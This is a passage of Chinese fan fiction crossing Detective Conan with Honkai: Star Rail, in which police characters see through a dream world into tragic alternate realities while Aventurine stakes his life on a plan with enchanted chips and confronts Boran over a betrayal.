,你有没有觉得……”娜塔莉向爱人求助着,“我们好像忘掉了什么?” 伊达航抱了抱娜塔莉,神色也不太好,“或许……是吧,我今天好像也有些不太舒服。” 他总是下意识去找一个不在记忆之中的人。 和萩原研二还有松田阵平打牌的时候,也总是频频走神,而且不止是他……萩原研二和松田阵平好像也不怎么在状态。 …… 【甚至可能漏洞百出……】 …… 告别了班长一家两口,走在路上、一边卷着手里之前贴在脸上的白条子,松田阵平一边陷入了沉思, “ hagi ,”松田阵平结束了冷战,向萩原研二问道,“你还记不记得那个犯人是怎么被我们抓住的?” “记得啊,”萩原研二回答,“不就是在逃跑的途中,被一科的同事抓住的吗?” “但是,”松田阵平不解地问道,“我脑袋里为什么会有那个混蛋的脸?” 松田阵平他没参加一科的抓捕行动,当时他还在另一处作业现场,可为什么他脑袋里会时不时地浮现一张个他从没见的、但直觉告诉他那就是那个犯人的脸? 脚步轻轻停了下来,萩原研二一直如常的神色终于发生了变化,“小阵平也发现了吗,” “不止如此呢,研二酱还在奇怪一件事,”萩原研二脸上没了嘻皮笑脸的笑意,他说,“研二酱总觉得……” “那个犯人好像还多了两颗牙。” …… 【毕竟,这个世界上不存在真正完美的一切。 】 …… “柯南、元太、还有光彦,你们快看!” 戴着头箍的小女孩兴奋地招呼着同伴们过来,面前博士的新发明正不断的从扭蛋机里吐出一个又一个小玩意,“向这个幸运扭蛋机许愿,就可以抽出自己想要的玩具噢!” 下意识回头的工藤新一抽了抽嘴角,博士又在发明一些没什么意义的东西了, 扭蛋机的买点之一不就是盲盒的不确定性吗? 跟据输入的“许愿”词条、检索出扭蛋里的对应玩具,最后再投放出来……那不就是做成了扭蛋机外型的自动贩卖机吗? “哈哈哈……但是孩子们很高兴呀。”阿笠博士拍了拍自己的肚子,笑得很和蔼,小孩子们才不懂什么检索投放,他们只知道自己很幸运,每次许愿的玩具都能被扭出来。 “要是真的有这种万能许愿机就好了,”铃木园子感叹了一声,“我一定会许愿一个温柔帅气的男朋友!” 毛利兰却看了看研究着扭蛋机的柯南,又看了看工藤新一,注意力在另一个地方,“我怎么感觉……”他们两个长得好像呢? “……啊,”工藤新一僵了一下,低头看了眼身边也围在了扭蛋机前的小孩子们,才反应过来自己竟然也应了那个女孩的招呼, 他认识这个叫步美的女孩吗? 等等,工藤新一表情更怪了,他怎么知道这孩子叫步美的? ? ? …… 【察觉到那些漏洞,对你们而言……并不是一件难事。 】 …… “ zero,”诸伏景光也注意到了安室透手里的相框,笑了笑问道,“我小时候很可爱吧?” “当然,我当时看见hiro的第一反应就是……天下怎么会有这么可爱的天使?”降谷零打趣着自己的幼驯染。 诸伏景光失笑,“ zero其实也很可爱啊!”他想起了过去脸上总是贴着个创口贴的小孩子…… ……小孩子? 诸伏景光和降谷零的笑脸都僵在了脸上, “我们……”降谷零迟疑地问道,“我们是从小就认识的幼驯染吧?” 可他为什么会是第一次来诸伏家? 诸伏景光的表情渐渐消失,“我……好像一直在长野长大。” 但他为什么会认识远在东京的zero ? …… 【真正难的是……你们能否接受另一种“现实”。 】 第149章 这不对, “我……”习惯性地摸上手腕,却发现那里同样空空如也的娜塔莉恍惚,“好像弄丢了一个孩子。” 这不对, 大脑一阵刺疼, 伊达航捂住了头, “我忘记了一个很特殊的朋友……” 这不对, 冷汗湿透了脊背, 工藤新一见鬼似的看向柯南这个好似不应该存在的孩子, 他的记忆出了问题! 这不对, 萩原研二和松田阵平忍着不适一同往班长家跑回去,抓捕那名犯人的过程中一定少了很重要的一环! 这不对, 诸伏景光踉跄地退后了几步,安室透也刷得站了起来,相框摔落在地,他们双方的认识中出现了致命性的矛盾! …… 【在梦里的那个世界, 你们也有可能看见……】 …… 黑日升起、虚空洞空的纶音忽隐忽现,咔嚓一声、伴随着突兀的玻璃破碎的声音,面前的世界也随之破裂…… “娜塔莉——!” 伊达航急急地探出手,想要拥入怀中的爱人却像泡沫那般一碰即碎,透过眼前破裂开的缝隙,伊达航看到了另一个完全陌生的世界…… 绳子被娜塔莉抛过了屋顶的横梁,一向温柔笑着的脸上布遍了泪痕,一边的电视机里正播放着在某次案件中英勇殉职的警察名单, 伊达航的名字赫然在列。 “娜塔莉,不要!” 伊达航拼了命地想冲进缝隙里, “我还活着!我没有死——!” …… 【一个个过于残酷的画面,】 …… 工藤新一愣愣地站在缝隙前, 缝隙的另一头是他在那所游乐园里的那一晚…… 但发展却不是他记忆中的那样——他带着警察抓住了那两个黑衣人——他看见自己躺在了草坪上,长发的男人对准他的脑袋, 开了枪。 枪声吸引来了正在寻找工藤新一的毛利兰,毛利兰顿时面色惨白的看向血泊里的那人,“新一!” “别过去!”工藤新一终于反应了过来,他扒着裂缝撕心裂肺地吼着,“小兰!别管我了,快跑——!” 然而毛利兰听不到工藤新一的声音、她站在那一动不动,黑衣人们也发现了她,“大哥,怎么处理?” “一起杀了烧掉。” …… 【也便是你们一直恐惧着、担忧着的“现实”……】 …… “Hagi——!” 松田阵平目眦欲裂,那日的顶层在他的注视下发生了爆炸,浓烟火光夺去了他的全部目光,耳边只剩下了电话另一端的提示音, [我是萩原研二。现在不方便接听您的电话,您可以在“滴”声后留言……] …… 【一切更糟糕的事情都有可能发生,】 …… “小阵平……” 一向巧舌如簧的萩原研二颤抖着唇齿,却说不出任何安慰的话来,在种种裂缝中,他看到松田阵平因为他的死而一蹶不振,看到松田阵平疯了似的出入各种危险的地方调查导致他死亡的凶手, 最后看着松田阵平与那犯人同归于尽…… 萩原研二后悔得心都快碎了,他为什么最后要接通那通电话? …… 【你们会感到悔恨、痛苦、不公……最后陷入绝望,】 …… “爸爸妈妈……” 诸伏景光无力地看着另一端正在发生的惨案,满目的血鲜撞进了他的大脑,幼年的他躲在柜子颤抖, 诸伏景光刚刚想起,他为什么会离开长野和zero相遇——因为他是没了家的孩子。 “我会抓住那个杀死了爸爸妈妈的犯人。” 一晃眼,长大后的高明哥在他的面前这么说道, 再一恍惚,诸伏景光看见自己站在了高明哥的遗照前、向手中儿时的全家福发誓, “我会……”诸伏景光听着自己从高明哥的手中接过那个沉重的担子,“抓住那个杀死了爸爸妈妈、还有哥哥的犯人。” 他的一生,似乎都将活在那个犯人的阴霾之下。 …… 【如果一切都没了意义,“虚无”的阴影会缠上你们……】 …… 只剩下他一人了, 组织中的波本擦试着手中的酒杯,降谷零看着满柜被子弹打碎的苏格兰威士忌和柜台前自己孤零零一人的身影想到, 又只剩下他一人了。 降谷零想起了他的另一重身份,想起了他本应该是一名正在卧底的警察, 那是个危险的职业,他早早做好了牺牲的准备,但降谷零还是会怕……怕将危险带给他人——祸及亲友对卧底而言,并不是什么小概率的可能。 降谷零很想问另一个自己,为什么又只剩下了他自己?班长呢?松田和萩原呢?还有hiro…… 但降谷零又不敢问,他怕是自己的原因连累了他们,他怕是自己导致了他们的死亡, 他怕自己罪有应得、活该孤家寡人。 …… 【与美梦同在的,是噩梦。 】 …… 留下吧…… 纶音阵阵,美梦中的种种在缝隙之外的另一个可能性的称托之下更显得完美幸福, “现实”过于痛苦,美梦便是唯一的乐土……所以忽视掉那些不和谐的声律吧,加入到美好的大家庭中, 所有人都将得到庇佑…… 否定吧…… 黑日沉沉,虚假的种种美好不存在意义,“现实”才是注定的结局, 放弃一切,接受苦难不如忘却苦难……一切的一切都毫无意义,这是唯一的真理,不会改变, 存在即是虚无…… …… 【但……朋友,美梦或是噩梦,皆是深渊与死路,】 …… “不管你们选择哪一个,” 金发异瞳的青年笑着将一枚枚筹码依次摆在了众人的面前,将所有可能遭遇的死局告之众人,“筹码的两面,都代表着死亡,区别可能只有……” 他想了想,故作轻松地道,“死的好看一点和死的难看一点吧?” 现在是娜塔莉、毛利兰等人失踪的第二天,一场秘密的会谈在砂金家进行。 “但还有一线生机不是吗?”萩原研二摸起了一枚筹码,放在手心里把玩。 萩原研二不是和砂金相处最久的,但却是脑回路最对得上的那一个,他用两根修长灵巧的手指竖着夹住了筹码,也笑着说道,“它还可以立在桌子上。” “概率很小,但存在可能。” 砂金并不否认这种可能性,只是说着他的计划,“我会主动沉浸入虚无与同谐之中,以便以最大的程度来影响所有人的梦境、主宰全部,存护的力量则被我尽数封存在了这些筹码里,” “我需要你们带着它们进入梦境。” “所以我们的任务就是将计就计被他们抓走,从梦中醒来、在梦中找到你,”诸伏景光也拿起了筹码观察,复盘确认道,“再将这些继承了神秘力量的筹码还给你?” “准确来说,是利用它们唤醒梦境之中的我。” 砂金说道,“不过这点并不重要,你们是否能够苏醒也不重要,筹码中的能量足够保证你们的安全,它们会在你们濒死的那一刻强行唤醒你们。” 砂金绝对会保证所有人的安全。 “我想,”一直沉默着的赤井秀一突然道,“这些筹码,应当是一次性的?”相当于给他们的性命上了一层保险的东西,使用过后不可能没有其他代价或是时效限制。 砂金看向掀了他底的家伙,“朋友,你可真不讨人喜欢。” 世界压制之下的残余能量不是无穷无尽的,如果能量在唤醒众人的过程中耗尽,那便不会马上再生。 “等等,”松田阵平顺了一下,反问道,“也就是说,如果我们需要依靠筹码才能从那个该死的梦里醒过来,那筹码就会因此消失?” “可要是它们都消失了,我该拿什么唤醒你?” “要是筹码耗尽,或者是确定我已经不可能醒来了,” 砂金轻描淡写地道,“那朋友们可以自行脱落梦境——在自身的梦境之外自杀便好——然后尽快带着娜塔莉夫人他们离开邪/教徒的基地、离我这个污染源越远越好,摆脱了梦境的影响,他们会慢慢醒来。” “那你呢?”因着娜塔莉的失踪、而染上血丝的眼睛看向砂金,伊达航沉声问道,“你警告我们不能陷入梦境……那你若无法苏醒,会有什么后果?” “不要骗我,砂金……” 砂金微愣,随后继续带着浅浅的笑意道,“或许我会带着那些无法离开梦境的邪/教徒们,一起去死?” 平静的语气……却让人听得火大。 “你在赌,”降谷零冷静地道,“赌我们能醒来,赌我们能够剩下足够的筹码,赌我们能唤醒你……这种计划、风险太大。” “但这却是损失最小、效率最快、结局最好的计划,”砂金坦白道,“就算我无法苏醒,你们也可以不费一兵一卒的将人质安全地救回来,” 总比潜入或强行克攻那群疯子的武装基地要安全的多了。 “你们有余力的话,还可以把邪/教徒的首领一同救出去,将他逮捕入狱……” 伊达航被砂金的态度惹怒了,一巴掌用力地拍在了桌子上,桌上的筹码被震的一跳,他从来没有发过这么大的火,尤其是对着砂金,“现在的问题是你——!” 砂金这就是在赌命! “不,现在的问题是你们!” 砂金第一次在伊达航面前抛去了那层乖乖仔的皮,他反驳道,“每拖延一秒、人质就越危险一分……而最糟糕的情况也不过是损失100%的本金,我没有理由不去搏一把,” “就算你们不配合我,我也会将这个计划执行到底,”砂金不容质疑地抛出了最后的问题,“现在你们只需要给我一个回答,” “你们要陪我一起赌一把吗?” 去赌自己能否搏到那个小概率的可能性,看清美梦、克服噩梦,从梦中醒清,最后再将他唤醒。 …… “哎,赌吧赌吧……” 片刻的沉默过后,萩原研二把手里的筹码装到了口袋里,“反正我平时的工作也和赌命差不了多少,舍命陪朋友了。” “哈,这有什么难的?”松田阵平紧跟着萩原研二从桌上拿起另一枚筹码,“梦我做的多了,可别小看了我!” 诸伏景光和降谷零对视了一眼,也分别认下了各自的筹码,从理性而言、砂金的计划的确并无大错。 “……我会醒来,”伊达航死死地握住第五枚筹码,“依靠我自己的意识。” 赤井秀一闷不做声地收下最后一枚筹码,自此、六枚筹码全部分配完成。 砂金脸上的笑意都真实了多少,“谢了,朋友……别那紧张严肃,请相信我,” “在命运的转盘之上,我是永远的赢家。” 第150章 “想起来了?” 放下擦拭好的酒杯,柜台后的波本突然好像看见了降谷零一般、抬首向降谷零发问,染着血污的手帕被他放在台面上, 那红色……红得刺眼。 “我……” 降谷零猛然发现, 不知何时、他进入了裂缝之中, 已经站在了另一个自己的面前, “后悔了吗?”金发黑皮的青年摸出一瓶波本、动作熟练优雅地将琥珀色的液体倾入杯中, “刚开始决定去警校……也只是为了初恋去的吧,我们其实挺简单好懂的, ” 波本笑着将酒杯向降谷零这边推来,“我知道我们是什么样的人, ” 液面微微晃动、酒水的气味似乎弥漫在鼻尖, 降谷零才发现, 自己竟然很熟悉波本的味道…… “善良,” 降谷零注视着那杯酒,随着波本的声音陷入了过往的记忆中,波本每说一个字,都像是钉子被重锤钉在他的脑间, “温柔,” 波本慢条斯理地细数着, “重感情……” 降谷零沉默着, “我们一直都是个好孩子,结果我们却手染鲜血、弄丢了重视着的一切,甚至弄丢了自己,波本、安室透、降谷零……哪一个名字才是我们?” 和自己如出一辙的声音在潜移默化地引诱着,“但我知道你不是有意害死他们的,你看重身边的每一个人,你不希望他们像爱莲娜老师那样从此消失在你的生命中、只留下你一人, ” “现在,你有了这么一个难得的机会……” 波本脸上挂着降谷零从来没有过的那种笑容、向降谷零道,“喝下这杯酒吧,忘了你在这边看见的一切,回到那个美好的世界里, hiro还在等你、一切糟糕的事都还没有发生,” “降谷零也还只是降谷零。” “但那……只是个梦,”降谷零终于回复道,“虚假的美好值得我去沉沦吗?” “这里也只是一个梦,”波本笑了笑,坦然地向降谷零承认了此地只是一处梦境,“你已经够累的了,你失去了太多、又太强求自己,现在难道连做梦都要这么为难自己、偏偏要做个噩梦吗?” “还记得那句话吗?”琥珀色的酒液仿佛有魔力一般抓住了降谷零的心魂,耳边只听到波本说,“好孩子应该得到糖果,” “你应该奖励自己一场美梦。” 但降谷零隐约记得……好像有什么人告诫过他什么……可他仔细回想之时,却又什么都想不起来, “美梦也只是在逃避现实。” “别说的那么严肃,这不算是逃避,没有法律条文规定人不能做美梦。” “别忘了、你已经很久没有好好睡一觉了,”波本耸了下肩,“为什么不趁现在先休息一下呢,这样从美梦中醒来后才有精力继续面对残酷的现实,” “不对吗?” —— “你真的能抓住我吗?” 面前的一切被猛得拉远,一阵天旋地转……诸伏景光踉跄地跪倒在地,再抬头时才发现自己被困在了一地的血泊之中, 面前,高大扭曲的黑影像雄雄火焰一般来势汹汹、笼罩围困着他…… “哈哈哈……”夜夜于梦中纠缠着诸伏景光的声调疯癫地笑着,故意将嗓音捏得尖细刺耳,“终于不躲了吗,终于愿意出来了吗哈哈哈!!!” 是他……诸伏景光瞳孔放大,是那个凶手! 这个声音他绝对不会记错,那个人杀死爸爸妈妈的时候、也是用得这个声调哼叫着哄骗他出来的儿歌! “我会,抓住…你……” “可你拿什么抓?”黑影好像又变大了几分,扭曲舞动着没了人形、更像是一只可怖的怪物,“你说啊,你记得我的脸吗?” 不,诸伏景光张了张嘴,记忆里的那人扭头看向了柜子的他,那张脸——却是一片空白! 不,他不记得了…… “你说啊,你知道我是谁吗?” 他是谁?诸伏景光控制不住地抓紧了自己的头发,他……不知道, “你说啊,你找到了任何的证据了吗?” 他没有……诸伏景光大口大口、狼狈地喘着气,徒劳地张着嘴,他什么都没有…… “没用的,不管你做什么都是没用的!”黑影张狂地爪牙似乎要吞下整个天地,“我会永远永远地跟着你,你的父母、你的兄长、你的朋友……” “我一个都不会放过,哈哈哈!!!” 不可以——! 无形地大手扼住了诸伏景光的喉咙,他想要反驳、他想要阻止、他想要说话,可却吐不出一个字! “懦夫!” 从血泊中探出的触手抓住了诸伏景光,不容反抗地拉扯着诸伏景光下沉,诸伏景光拼命哑声嘶吼着、挣扎着…… “你还在反扰什么?”黑影戏谑地讥讽着,“你的无能导致你至今无法抓住我,我杀死的每一个人里都有你的一份罪,” 黑影的话如千吨的重负压在了诸伏景光的肩头,压得诸伏景光喘不过气来、压得诸伏景光沉入了血泊、压得诸伏景光恍惚绝望…… 黑影说, “你怎么还能好意思独活?” —— “早上好,下午好,晚上好,每天都好呀、小阵平——!” 松田阵平觉得自己应该是疯了,不然怎么能看见已经死去的幼驯染在向自己打招呼? “hagi知道自己已经死了,但……”萩原研二神神秘秘地凑近松田阵平道,“但小阵平听说过幽灵吗?” 松田阵平:“你是想说,你现在就是幽灵?” “是的,没错哟!”萩原研二得意地原地飞起、转了一圈,“从现在开始,小阵平就不用担心我会再死一次了,因为死过了的人、是不会再死一次的哦!” 松田阵平确定自己疯了,“那听上去还真不错的……” “不过没关系,”松田阵平推了推墨镜,露出了一对沉重的黑眼圈,“不管是什么样的hagi ,都是我的幼驯染。” 萩原研二看上去挺开心的,“那小阵平,我们今天哪里玩呀?” 松田阵平点了点地图,那正是一伙激进派极道组织的势力范围,“先去这里看看好了。” …… “松田阵平!你清醒一下!” 萩原研二被无形的玻璃隔在松田阵平与幽灵·萩原研二之外,只能狼狈地锤着空气、吼到沙哑的嗓子像是吞了刀片,“小阵平……那个不是我,” “求求你了,别去那么危险的地方…好不好?小阵平,我真的知道错了……” 为什么犯错的人是他,惩罚的却要是松田阵平呢?萩原研二无法接受这个结果。 一双冰冷的手从萩原研二身后环上他的腰,又一位松田阵平轻轻抱住了萩原研二, “我在这里,hagi……” 第151章 “你不是小阵平。” 萩原研二头都没回,仍然紧紧盯着另一端的松田阵平,回复的声音沙哑却斩钉截铁, 他不可能认不出他的幼驯染。 “我是因你的惧怕而生的松田阵平 , ”和松田阵平长着同张脸的人这么说道, “你很后悔那天的事不对吗。” “他也一样……” 所以那位幽灵·萩原研二, 也只是松田阵平内心惧怕的投影罢了。 “你们都认得出对方,但我们依旧存在, ”虚假的松田阵平凑近萩原研二耳边问道, “你猜猜这是因为什么?” 还能因为什么? 松田阵平后悔替萩原研二踩下了那脚油门,哪怕明知道真正的萩原研二不会怪罪他、松田阵平却忍不住去想, 要是那天他没有和萩原研二说那些话, 萩原研二是不是就不会成为排弹警, 是不是萩原研二就还可以好好的活着? 萩原研二后悔忘了告诉松田阵平什么时候该踩下刹车,他太了解松田阵平了,知道松田阵平一定会忍不住怪罪自己,但这一切分明并不是松田阵平的错, 惩罚的对象被弄错了…… 因为他们都知道真正的对方不会怪罪自己,所以只能自己幻想出一个虚假的“对方”向着自己吐尽恶言。 “你不一向最是敏锐的吗?” 平静的质问声一个劲儿地往萩原研二的耳朵里钻,“你明明知道会发生什么,知道美梦被戳破后的松田阵平会自责,那之前你为什么不继续瞒着松田阵平、瞒着他一起活在美梦里?” “还是说,真相和松田阵平之间, 你觉得松田阵平并不重要,所以你偏要松田阵平知晓了真相、痛苦地去恨他自己?” “我没有这个意思!” “我不相信。” “ hagi ,你能考虑到其他所有人的感受,八面玲珑、好不威风,但为什么偏偏不在意我?”突然变换了人称的言语几乎将萩原研二的心防压了个粉碎, “善意的谎言而已,我不信你做不到。” “但我那么信任你,你却连一个善意的谎言都不愿意给我……你是一定要我为死去的你偿命吗?” —— “这就是你想要成为侦探的努力?” 陌生带着点英伦腔调的声音惊醒了呆滞在原地的工藤新一,工藤新一僵硬地扭过头,看见的却是个看不清脸的、穿着风衣咬着老式烟斗的瘦高男人。 工藤新一不应该认识对方,但一个名字就那么浮现在了他的脑袋里,那就是——夏洛克·福尔摩斯, 工藤新一一直崇拜着的偶像。 烟斗被点燃,烟雾一缕缕地飘在诡异的空间之中,那个男人毫不客气地道,“你弄丢了你的华生。” “我……”工藤新一狼狈地佝偻着腰,他无法反驳自己的偶像,只能听着对方用一种冷漠至极声调对他说着堪称刻薄的话, “没有什么比只会耍些小聪明的傻子更令人厌恶的了。” 工藤新一熟读原著,甚至知道福尔摩斯的这句话出自哪一版哪一册的第几页第几自然段上, 但他过去满心推崇地一遍又一遍逐字品着那些文字之时,从未想过有一天,这句“台词”会被福尔摩斯用在他身上。 只会耍些小聪明的傻子吗? 针扎一般的言词让工藤新一发自内心地感到不甘,结果却发现对方好像并没有说错什么…… “蠢货的吹捧听得多了,便忘了真正的自己是什么样的了,真当自己是个名侦探了吗?” 是啊,他好像总是因为一点点成就便沾沾自喜,真的遇上大案件的时候、却连自己的华生都保护不好——自己丢了命不说,还连累到了小兰。 “观察,排除,拆解,抽离……你做到了哪一样?让我看看……呵,谋杀案的红线依旧埋在苍白的乱麻里。” 他一样都没有做到,工藤新一脸色惨白,染红丝线的鲜血中甚至还有着他重视之人的那一份。 “只是如此,便说不出话了?还是被死亡吓破了胆?” 福尔摩斯摇了摇头,他对工藤新一很是失望,他直白地对工藤新一下了死刑的宣判,“你,” “不适合成为一名侦探。” —— “Wataru!今天你正好休假,要不要一起去看烟花?” 满眼都是爱意的她正期待地看向伊达航,而另一边…… “Wataru,你不会回来了吗?” 另一位她听着殉职名单的通报、泪水打得伊达航他心脏也跟着疼痛。 美梦与噩梦,两处的爱人都需要他……而伊达航只有自己一个人,他只能选择一个。 一向义无反顾地走向爱人的脚步被钉在了地上,伊达航无法选择,不管选择谁、都意味着他抛弃了另一个。 将伊达航的沉默看在眼里,眼里的期待渐渐退去,美梦中的娜塔莉好像察觉到了什么,握着烟花展门票的手无助地朝身后背了背, “没关系,”娜塔莉向伊达航笑了笑,一如往常那么善解人意、体贴温柔,“是要加班吗?烟花展也挺无聊的,不去看也没什么的,还是工作更重要。” 然而那勉强的笑意却刺入到了伊达航眼中,脚下犹豫不决、伊达航竭尽全力抑制着自己想要冲过去将对方抱在怀里的冲动。 “娜塔莉,对不起……”伊达航徒劳地发现,自己只能一遍又一遍地说着这几个字,却无法给对方任何的承诺。 “对不起什么?”哭泣的娜塔莉满心的绝望,“我一次又一次地等你回来,不是为了等着收到你的死讯的!” 伊达航知道,所以他才无法承诺…… 他心如刀绞。 —————————— 轻巧的脚步落在地板上,笼在黑袍里的身影穿过走廊,静悄悄的基地里没有任何的声音,静得像是一座巨大的坟墓。 其他人? 自然是有的, 不过身影途径的所有人皆昏睡在地上,面上或带着沉沦的笑意、或是一脸的恐惧,无一清醒。 牢笼里被抓来的诸人也没有意外,黑影静静地看了一会被教众们关押的几人,摘下了兜帽,斗蓬下是砂金十分熟悉的一张脸——伯劳。 砂金用“开门”做谎言,欺骗了教众,拉着基地内的所有人进了梦境,却唯有伯劳是一个例外…… 因为,基石此刻正在伯劳的手上。 …… “基石的位置……是你告诉他们的吧,” 那日,送走了带着筹码离开的众人,砂金突然对一直沉默着的伯劳道,“你向那些人告了密。” 偷走基石的人不是伯劳,但基石被窃一事、和伯劳脱不了干系。 第152章 其实,砂金并没有证据,伯劳很会藏、他把自己藏得很好,所以砂金只是凭着直觉在试探对方罢了, 而伯劳沉默的态度告诉砂金,砂金这一次又没有“赌”错。 “伯劳, ”砂金问, “为什么。” 「砂金」说过, 砂金不是会养孩子的那种人, 哪怕有娜塔莉夫人在一旁帮忙也一样, 但砂金自认为自己从来没有亏待过伯劳, 来这个世界上的所有责任心、善心和耐心, 他至少给了伯劳七成…… 说不上被背叛的痛苦、悲伤、或者是说愤怒,砂金心下很平静,早在伯劳弑杀前主的时候、就能看出来,忠诚一词对伯劳而言并不切实, 他只是想知道、伯劳为什么要这么做,他觉得自己并没有对不起伯劳, 还是说,有谁骗了他这个不怎么聪明的“信徒”? “因为……”伯劳的嗓子有点哑,手指紧张地又一次扣在了一起,“您说,要做没有被允许做的事。” 所以当那些人找上他时,他像将鸡蛋放进微波炉里一样平静地告诉了那些人、那些石头的位置——砂金肯定不会允许他这么做的。 “……哈,”没想要生气的砂金听着这没头没尾没逻辑的话,差点被气笑了, “我什么时候说过这种话?” 砂金要的是一个解释,而不是胡言乱语的敷衍。 “您说, 你可以做任何你想做的事,”伯劳早便证明过,他记得砂金说过的每一个字,“前提是你想,而不是为了满足我想。” 伯劳时常空空荡荡的脑子里,始终装着那天砂金对他的回答…… …… 卷轴被一点点展开,砂金发自内心地对拉帝奥会写些什么东西而感到好奇,而两行许久没见的熟悉文字却让砂金神色微怔, 只见“医嘱”上留着两段短短的话语——梦中不可能之事并非「死亡」,而是「沉眠」。 活下去。祝你好运。 “祝我……好运?” 砂金不由自主地重复了一遍,有些难以相信这会是那位喜好用数据说话、每次对他的“运气”都是一幅不信任态度的博识学会教授会说的话, 拉帝奥教授,什么时候也会信好运这种话了? 而且,还是对他说的…… 拉帝奥教授不是说……将希望寄托在虚无缥缈的事物这种事、是最愚蠢不过的人才会做的自欺欺人吗? 砂金看不懂对方那颗聪明的脑瓜子里想了些什么,但这个情, 他领了。 “完蛋了,这下不止感谢了,”砂金说给自己听道,“回去之后,少不得要去给学会的负责人赔个不是了,这把人家的大宝贝带坏了可怎么办。” 口头上在小声抱怨着,但那张异常漂亮的脸上却渐渐地绽放开一个微笑,一旁的伯劳侧目注视着, 毒蛇收起了獠牙,狐狸歪着头晃着耳朵,孔雀抖抖尾羽、展开了屏……那笑容在伯劳看来,好看的过分。 伯劳也看不懂卷轴上的文字,更看不明白砂金为什么在笑,他就听懂了那几个字…… 回去之后。 “砂金,回哪去?” 伯劳问,砂金答。 “回家,当然是回家去了,”将手里展开的卷轴再仔细地卷好,砂金的目标从未变过,“可有人求着我活下去呢,我总不好让人家失望吧?” 伯劳知道回家这个词,同期的孩子里有人哭喊过——放开我、我要回家!我要爸爸妈妈——! 教官说,他们没有家了,回不去的。 “我……带上我,”伯劳小心翼翼地抓上了砂金的袖口,“一起。” 带上他,一起回去,好不好? 砂金正收拾着东西的手因为伯劳的动作而停了下来,砂金想和伯劳对视、但伯劳却躲着没敢看向砂金。 有些话……该和伯劳说了,砂金想到,“抱歉,这件事……我无法给你承诺,” 世界的屏障有多厚,砂金这个穿过一次的人也不知道,甚至连再回去这件事,砂金都要押上性命再赌一次,赌自己不会在回去的半路上就被撕成碎片、掉进哪个荒无人烟的绝境之中, 所以他不可能带上伯劳一起离开、一起去冒险。 “你属于这个世界,而我才是那个外来者,”砂金对伯劳道,“我也没有办法带走你。” “……”伯劳不想要这个答案,他收回了自己的手,“那其他人你会……”你会带走那些你更喜欢的人,而只丢下我吗? “我带不走任何人,” 清醒是一件好事,赌盘上不需要的东西在这一刻体现得淋漓尽致,砂金将取出来的基石一块一块地放回到盒子里,“也没有任何人应该跟我走,” 细小的针顺着血管流动,扎进了心脏里,伯劳每每呼吸着、心脏跳动着,都能感觉到那股针痛感绵绵不断,他听着砂金说, “大家各有各自的道路,这些路或许会有所重合、或许又都会走向同一个终点——那就是死亡,但沿途的风景、同行的人,不可能永远不变。” 砂金对伯劳道,“你也一样,” “还记得我给你讲过的那个绘本吗,”砂金抱起盒子、将基石放回到原本的保险箱中,“我的离开对你而言只是一阵大雨,大雨过后、你依旧会生长发芽,” 咔哒、关上保险箱门,砂金说, “没有谁的一生离不开谁。” 纵使抗拒万分……命运依旧会带走将要离开的人。 …… 但伯劳没有明白砂金的深意, 砂金无法带走他,那……伯劳用他那贫瘠的智慧思考着想到,那他应该,留下对方。 “我确定,”伯劳说话间还带着些非人感的卡顿,但他说得很慢、却很坚定,“这次是……我想。” 他想砂金留下,他不想砂金离开,所以,他当了那个“叛徒”, 他的行为,完全出自自我的意识。 过去的子弹,在这一刻才落到靶上。 【我收回前言,】「砂金」拍拍卡卡瓦夏的肩,示意小朋友先去一边玩会儿,他和砂金有点私事要聊,【你把他养的不错。 】 这个“他”自然是指伯劳了。 砂金把伯劳养得很好,一个自我意识稀薄的人、反而把一个没有自我意识的人养出了“私欲”,这能不算好吗? “留在这里,不好吗?”伯劳还在自顾自地说着,“我会保护您,不让您受伤,我喜欢的都给您,我不喜欢的那些人您很喜欢,他们也在这里,不要丢下我,像以前一样生活……” “您不喜欢吗?” 伯劳就是个傻瓜、笨蛋、白痴! 说不出来是什么样的情绪突然涌到了心头,鼻子有点发酸的砂金把自己摔进沙发里、捂着脸,半晌不想说话, 他能说什么? 这里的生活他当然喜欢,但他不可能留在这里。 娜塔莉夫人,伊达警官,八木海,安室透,毛利兰,萩原研二,松田阵平……等等等等,他们有他们的生活,砂金也有他自己的未来, 他们不会丢下此世的一切和责任跟他去往星际,他同样不会因为此世的“美梦”忘了他原本应该承担的所有。 算了,和一个傻子计较这些有的没的、反而显得自己也在犯傻了……而且这又确实是他“允许”的,但凡丢的不是基石,说不定砂金还会给伯劳鼓个掌、表扬表扬对方终于有自己的想法了。 可什么都不做的话…… 【心里难受吗? 】「砂金」坐在沙发扶手上,自上向下俯视着砂金,【感觉到……委屈了吗? 】 当然, 砂金很久很久没有这种……受“委屈”了的感觉了,砂金无比清楚地认识到, 伯劳在无意识地“欺负”他。 但偏偏伯劳还是个没有眼势的,还不忘把毛毯抖开给砂金盖好,以免对方受凉。然后,伯劳蹲下/身,也坐在了沙发边的地板上, 静静地守着砂金。 【你应该说出来,】「砂金」道,【他是个“小孩子”,你也差不了多少。 】 所以砂金深深地吐了口气,“……我讨厌你。” 幼稚的话说出口后,闷烦的情绪倒得到了缓和,砂金想,他又多久多久没有这么直白地表达自己的感受了? 伯劳:“……嗯。” 讨厌他是应该的,伯劳不喜欢堵在脑袋和心里的那股乱七八糟的感觉,好像心脏里又进针了,但他知道做错事了就该受罚, 所以他必须要接受这些“不喜欢”。 只要能留下砂金就好,伯劳只有这一个念头,他不能让砂金丢下他。 “知道吗,”砂金说,“在我那边,你的所作所为,足够被判下一扎的死刑执行单了。” 以下犯上,私通外敌,背叛上级,更重要的是——盗窃琥珀王的圣体。 “……我知道了,”伯劳问,“需要我现在去死吗。” 伯劳问得很平静,平静到砂金毫不怀疑,只要他点头说一声是、伯劳下一秒就会当着他的面自尽, 伯劳不畏惧死亡,反而怕活着的时候被砂金丢下。 可事已至此,诸多惩罚也没了意义,伯劳死了也没有办法改变基石失窃的事实,所以砂金再次冷静了下来,他需要用好伯劳这枚失控的筹码。 “我还能……”砂金又问道,“信任你吗?” …… 能, 伯劳给出回答。 他不知道什么叫“苦肉计”,不懂什么叫“以退为进”,不明白什么是“示敌以弱”,更分辨不出来砂金有没有在骗他,看不出砂金在玩什么心计, 伯劳只看到砂金受过他的背叛之后,还愿意给他任务、而非惩罚, 【你……不会让我失望的吧。 】 他不会。 怀里装着从教众那又窃取回来的基石——因着之前的“合作”,那些教众对伯劳并未设防——伯劳手里握着匕首,警惕又小心地挨个检查了一遍“人质”们的状态。 部分人呼吸急促、心跳加快,但均无生命危险。 完成过这一环节,伯劳脚步不停地继续往基地深处走去,砂金在基地最下方、看守最严的机房,和最后一块基石在一起。 